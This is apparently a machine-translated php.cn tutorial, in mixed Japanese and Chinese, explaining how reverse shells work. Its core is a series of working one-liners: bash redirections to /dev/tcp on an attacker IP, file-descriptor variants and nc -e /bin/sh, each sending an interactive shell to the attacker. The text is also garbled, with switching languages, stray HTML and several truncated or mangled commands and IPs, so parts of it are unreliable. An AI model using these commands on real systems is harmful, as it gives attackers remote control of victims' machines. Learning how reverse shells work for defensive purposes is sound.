* 厳粛な声明: この記事は技術的な議論と共有に限定されており、違法な方法で使用することは固く禁じられています。
Bounceshell
は、制御側が特定の TCP/UDP
ポートをリッスンし、制御側が開始することを意味します。ポート port にリクエストを送信し、そのコマンドライン入出力を制御ポートに転送します。
わかりやすく言うと、リバウンドシェル
は一種の逆リンクであり、順方向ssh
とは異なり、相手のコンピュータ上でコマンドを実行してこちらのコンピュータに接続します。 . 攻撃モードであり、この攻撃モードはリモート コマンド実行の脆弱性とともに使用する必要があります。
なぜリバウンド シェル
? これは通常、制御された側がファイアウォールによって制限されており、権限がなく、ポートが占有されている場合に使用されます。
マシンを攻撃し、そのマシンのポートを開くとします。攻撃者は自分のマシンでターゲット マシンに接続します。これはより一般的な形式であり、これを順方向接続と呼びます。リモート デスクトップ、web
サービス、ssh
、telnet
などはすべて順方向接続です。
それでは、どのような状況で順方向接続は使いにくいのでしょうか:
1. クライアントがネットワーク ホースにアクセスしましたが、それは LAN 内にあるため、直接接続します。
2.
ip
は動的に変化するため、継続的に制御することはできません。3. ファイアウォールなどの制限により、他のマシンはリクエストの送信のみが可能ですが、リクエストの受信はできません。
4. ウイルスやトロイの木馬は、いつ感染するか、相手のネットワーク環境はどうなっているのか、いつ電源を入れたり切ったりするかが不明なため、悪意のある攻撃を許可するサーバーを構築してください。プログラムを積極的に接続するのが最善のポリシーです。
次に、リバウンドは簡単に理解できます。攻撃者がサーバーを指定し、被害者のホストが積極的に攻撃者のサーバー プログラム (リバウンドシェル
と呼ばれます) に接続します。
原理を理解するために bash
リモート コード実行の脆弱性の例を使用します
攻撃終了: 10.100. 40.5 被害者machine: 192.168.197.136
まず、攻撃側のポートを監視し、このポートを使用して被害者のマシンによってバウンスされた shell
を受信する必要があります。攻撃側にコマンドnc -l 2333
を入力し、コマンド
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
シェル が攻撃側に正常に出現したことがわかりました。攻撃側の被害者側で次のステップを実行できます
例: 0x02 原則2.1 リバウンド シェル コマンドの原則(1 )
bash -i
は linux
の共通の shell
であり、多くの ## のデフォルト#です#Linux ディストリビューション ##Shell
。 -i
このパラメータは、対話型の
shell(2)
./dev/tcp/ip/port
# を生成することを意味します。
このファイルは非常に特別で、実際、デバイスと見なすことができます (Linux
の下にあるものはすべてファイルです)。実際、このファイルの場所にアクセスしても、以下に示すように、ファイルは存在しません。 (3) しかし、一方がリッスンしている間にこのファイルを読み取ると、ポートに、
と記述することで、そのポートでリッスンしているサーバーとの通信が実現できます
ファイル/dev/tcp# に文字を出力します##被害者側 :
2333
をリッスンし続け、攻撃側で内容を入力して Enter キーを押すと、その内容が被害者側に表示されます。(5) このようにしてアイデアが明確になったので、インタラクティブなリダイレクトについて話しましょう。インタラクション、被害者のインタラクティブな shell
の出力を攻撃マシンにリダイレクトする必要があります;被害者のマシンで次のように入力します:
bash -i > /dev/tcp 10.100.40.5/2333
その後、何が起こっても問題がないことがわかりました。コマンドを入力すると、エコーは発生せず、攻撃側の標準出力が攻撃側に向けられるようになり、エコーが表示されます。
这样只是回显而已,并没有办法在攻击端直接执行命令。
(6)所以我们还需要将攻击者输入的指令输入给受害者的bash
:
bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="リバウンドシェルってどういう意味ですか?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="リバウンドシェルってどういう意味ですか?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1
受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :
bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196
(4) 方法四
nc -e /bin/sh 10.100.40.5 2333
以上がリバウンドシェルってどういう意味ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。